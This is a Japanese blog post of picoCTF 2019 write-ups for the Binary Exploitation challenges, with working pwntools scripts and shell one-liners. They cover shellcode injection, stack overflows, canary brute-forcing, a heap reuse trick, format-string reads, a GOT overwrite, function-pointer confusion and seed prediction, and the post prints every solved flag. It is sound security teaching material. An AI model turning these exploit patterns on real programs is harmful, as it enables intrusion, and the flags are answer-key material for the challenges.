URL: https://2019game.picoctf.com/

2週間、お疲れ様です。

最終結果は、こんな感じ。

PwnとWeb系があんまりできてないけど、スコアも切りのいい20000に行ったし、Globalで目標の300位以内 (283位) にも入れたのでかなり満足です。

去年出た問題に似てるものも結構あったので、picoCTF 2018をそれなりにやった人は結構アドバンテージがあったと思います。

Binary Exploitation の Writeupです。

[Binary Exploitation]: handy-shellcode (50 points)

Challenge

This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt?

Hint: You might be able to find some good shellcode online.

Attachment:

• vuln (ELF 32-bit)
• vuln.c

Solution

これは、picoCTF 2018のshellcodeと同じでした。

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#!/usr/bin/env python
from pwn import *

sh = process('./vuln')

sh.sendlineafter('Enter your shellcode:\n', asm(shellcraft.i386.linux.sh()))
sh.interactive()

Flag: picoCTF{h4ndY_d4ndY_sh311c0d3_0b440487}

[Binary Exploitation]: OverFlow 1 (150 points)

Challenge

You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program?

Hint: Take control that return address
Hint: Make sure your address is in Little Endian.

Attachment:

• vuln (ELF 32-bit)
• vuln.c

Solution

offsetを求めて、飛びたい関数に飛ぶだけ。

$ (python -c 'print("A"*76+"\xE6\x85\x04\x08")' ; cat - ) | ./vuln
Give me a string and lets see what happens: 
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn57f5688e7}

Flag: picoCTF{n0w_w3r3_ChaNg1ng_r3tURn57f5688e7}

[Binary Exploitation]: NewOverFlow-1 (200 points)

Challenge

Lets try moving to 64-bit, but don’t worry we’ll start easy. Overflow the buffer and change the return address to the flag function in this program.

Hint: Now that we’re in 64-bit, what used to be 4 bytes, now may be 8 bytes

Attachment:

• vuln (ELF 64-bit)
• vuln.c

Solution

picoCTFのサーバは、Ubuntu 18.04であるところがポイントです。16 byte alignmentしないと解けません。

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#!/usr/bin/env python
from pwn import *

if 1:
    s=ssh(host='2019shell1.picoctf.com', user='', password='')
    s.set_working_directory('/problems/newoverflow-1_3_e53f871ba121b62d35646880e2577f89')
    p=s.process('./vuln')

ret = 0x00000000004005de

payload = ''
payload += b'A' * 64
payload += b'B' * 8
payload += p64(ret)  # for stack alignment
payload += p64(0x0000000000400767)  # flag()

p.sendlineafter("flag: \n", payload)
print p.recvall()

Flag: picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_bfd48203}

[Binary Exploitation]: NewOverFlow-2 (250 points)

Challenge

Okay now lets try mainpulating arguments. program.

Hint: Arguments aren’t stored on the stack anymore ;)

Attachment:

• vuln (ELF 64-bit)
• vuln.c

Solution

たぶん問題が間違っている気がします。win_fn1()とかいくつか関数が追加されているものの、flag()が残っているので、NewOverFlow-1と全く同じで解けます。

Flag: picoCTF{r0p_1t_d0nT_st0p_1t_e51a1ea0}

[Binary Exploitation]: OverFlow 2 (250 points)

Challenge

Now try overwriting arguments. Can you get the flag from this program?

Hint: GDB can print the stack after you send arguments

Attachment:

• vuln (ELF 32-bit)
• vuln.c

Solution

これはpicoCTF 2018のbof2とほぼ同じです。

$ (python -c 'print("A"*188+"\xe6\x85\x04\x08"+"BBBB"+"\xEF\xBE\xAD\xDE"+"\x0D\xD0\xDE\xC0")'; cat -) | ./vuln
Please enter your string: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBﾭ?
picoCTF{arg5_and_r3turn55897b905}

Flag: picoCTF{arg5_and_r3turn55897b905}

[Binary Exploitation]: CanaRy (300 points)

Challenge

This time we added a canary to detect buffer overflows. Can you still find a way to retreive the flag from this program located in /problems/canary_0_2aa953036679658ee5e0cc3e373aa8e0.

Hint: Maybe there’s a smart way to brute-force the canary?

Attachment:

• vuln (ELF 32-bit)
• vuln.c

Solution

これはpicoCTF 2018のbof3とほぼ同じです。

去年のどこかのWriteupにあったコードを流用させてもらって、canary (33xO) をゲット。

$ (python -c 'print("54\n"+"A"*32+"33xO"+"abcdefghijklmnop" + "\xed\x07")'; cat -) | ./vuln
Please enter the length of the entry:
> Input> Ok... Now Where's the Flag?
picoCTF{cAnAr135_mU5t_b3_r4nd0m!_069c6f48}

Flag: picoCTF{cAnAr135_mU5t_b3_r4nd0m!_069c6f48}

[Binary Exploitation]: messy-malloc (300 points)

Challenge

Can you take advantage of misused malloc calls to leak the secret through this service and get the flag? Connect with nc 2019shell1.picoctf.com 21899.

Hint: If only the program used calloc to zero out the memory..

Attachment:

• auth (ELF 64-bit)
• auth.c

Solution

GDBを使ってヒープがどうなるか見ながら解析しました。Ubuntu 18.04で解析したら、ちょっと動きが違ってました（うろ覚え）。

あと、recvuntil()辺りが思ったように動かなくて Invalid option になっちゃったりしたので、よくわかんないけど Invalid になった際には再トライするようにして対処しました。

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#!/usr/bin/env python
from pwn import *
import re

# s=process('./auth')
s = remote('2019shell1.picoctf.com', 21899)
    
print s.recvuntil("> ") # Enter you command:
s.sendline("login")
print "## login"

print s.recvuntil("\n") # Please enter the length of your username
s.sendline("25")
print "## 25"

print s.recvuntil("\n") # Please enter your username
data = b'A' * 8 + '\x52\x4f\x4f\x54\x5f\x41\x43\x43' + '\x45\x53\x53\x5f\x43\x4f\x44\x45'
s.sendline(data)

print s.recvuntil("> ") # Enter you command:
s.sendline("logout")
print "## logout"

msg = s.recvuntil("> ") # Enter you command:
print msg
if re.findall("Invalid",msg):
    print s.recvuntil("> ") # Enter you command:
    s.sendline("logout")
    print "## logout"
    print s.recvuntil("> ") # Enter you command:
    s.sendline("login")
    print "## login"
else:
    s.sendline("login")
    print "## login"

print s.recvuntil("\n") # Please enter the length of your username
s.sendline("5")
print "## 5"

print s.recvuntil("\n") # Please enter your username
s.sendline("root")
print "## root"

print s.recvuntil("> ") # Enter you command:
s.sendline("print-flag")
print "## print-flag"

print s.recvuntil("> ") # Enter you command:
s.sendline("print-flag")
print "## print-flag"

print s.recv()

Flag: picoCTF{g0ttA_cl3aR_y0uR_m4110c3d_m3m0rY_ac0e0e6a}

[Binary Exploitation]: stringzz (300 points)

Challenge

Use a format string to pwn this program and get a flag.

Hint: http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf

Attachment:

• vuln (ELF 32-bit)
• vuln.c

Solution

書式文字列攻撃の問題です。

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#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *
context.log_level = 'critical'

for i in range(1,100):
    try:
        s = process('./vuln')
        print i,
        s.recvuntil('back:\n\n')
        s.sendline('%' +str(i)+ '$s')
        response = s.recv()
        print response
        if ( 'picoCTF' in response ):
            print "Found!!!"
            exit()
        s.close()
        sleep(1)
    except:
        print error
        sleep(1)        

$ ./vuln 
input whatever string you want; then it will be printed back:

%37$s
Now 
your input 
will be printed:

picoCTF{str1nG_CH3353_159c98a8}

Flag: picoCTF{str1nG_CH3353_159c98a8}

[Binary Exploitation]: GoT (350 points)

Challenge

You can only change one address, here is the problem: program.

Attachment:

• vuln (ELF 32-bit)
• vuln.c

$ checksec vuln
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)   <---

Solution

gef➤  x win
0x80485c6 :	0x53e58955

gef➤  disas main
:
(snip)
:
   0x080486f8 <+153>:	push   0x0
   0x080486fa <+155>:	call   0x8048460 

gef➤  disas 0x8048460
Dump of assembler code for function exit@plt:
   0x08048460 <+0>:	jmp    DWORD PTR ds:0x804a01c
   0x08048466 <+6>:	push   0x20
   0x0804846b <+11>:	jmp    0x8048410

0x804a01cを、0x80485c6 (win)に書き換えればOK。

$ ./vuln 
You can just overwrite an address, what can you do?

Input address

134520860
Input value?

134514118
The following line should print the flag

picoCTF{A_s0ng_0f_1C3_and_f1r3_db12a9ed}

Flag: picoCTF{A_s0ng_0f_1C3_and_f1r3_db12a9ed}

[Binary Exploitation]: pointy (350 points)

Challenge

Exploit the function pointers in this program.

Hint : A function pointer can be used to call any function

Attachment:

• vuln (ELF 32-bit)
• vuln.c

Solution

2つ構造体が違うのに、同じポインタのリストを使っているところがポイント。

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struct Professor {
    char name[NAME_SIZE];
    int lastScore;
};

struct Student {
    char name[NAME_SIZE];
    void (*scoreProfessor)(struct Professor*, int);
};

ProfessorのlastScoreにアドレスを入れて、Student構造体としてアクセスさせます。

$ ./vuln 
Input the name of a student
aaa
Input the name of the favorite professor of a student 
bbb
Input the name of the student that will give the score 
aaa
Input the name of the professor that will be scored 
bbb
bbb
Input the score: 
134514326
Score Given: 134514326 
Input the name of a student
ccc
Input the name of the favorite professor of a student 
ccc
Input the name of the student that will give the score 
bbb
Input the name of the professor that will be scored 
ccc
ccc
Input the score: 
100
picoCTF{g1v1ng_d1R3Ct10n5_d9be6a30}

Flag: picoCTF{g1v1ng_d1R3Ct10n5_d9be6a30}

[Binary Exploitation]: seed-sPRiNG (350 points)

Challenge

The most revolutionary game is finally available: seed sPRiNG is open right now! seed_spring. Connect to it with nc 2019shell1.picoctf.com 12269.

Hints:
How is that program deciding what the height is?
You and the program should sync up!

Attachment:

• seed_spring (ELF 32-bit)

# ./seed_spring 
                      #                mmmmm  mmmmm    "    mm   m   mmm 

mmm    mmm    mmm    mmm#          mmm   #   “# #   “# mmm    #“m  # m”   "
"  #”  #  #”  #  #" “#         #   "  #mmm#” #mmmm"   #    # #m # #   mm
“““m  #”””"  #""""  #   #          “““m  #      #   “m   #    #  # # #    #
“mmm”  “#mm”  “#mm”  “#m##         “mmm”  #      #    " mm#mm  #   ##  “mmm”
Welcome! The game is easy: you jump on a sPRiNG.
How high will you fly?
LEVEL (1/30)
Guess the height: 2
WRONG! Sorry, better luck next time!

Solution

ランダムのシードをどこから取っているか、GDBとかGhidraとかで確認します。

現在時間をベースにしているようです。

以下は、Ghidraの結果をベースに書いたコードです。ほぼ、そのままですけど。

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#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
	unsigned int local_18;
	unsigned int local_1c;
	int local_14;
	
	local_18 = time((time_t *)0x0);
	srand(local_18);
	local_14 = 1;
	while( 1 ) {
		if (0x1e < local_14) {
			break;
		}
		local_1c = rand();
		local_1c = local_1c & 0xf;
		printf("%d\n", local_1c);
		local_14 = local_14 + 1;
	}
}

時間を合わせないといけないので、Shell server上で以下のように実行します。

$ ./seed_spring_solve.o ; nc 2019shell1.picoctf.com 12269

あとは出てきた値を1つずつ入れるだけです。

Flag: picoCTF{pseudo_random_number_generator_not_so_random_66aacad47c332de30eb8d8170d96b772}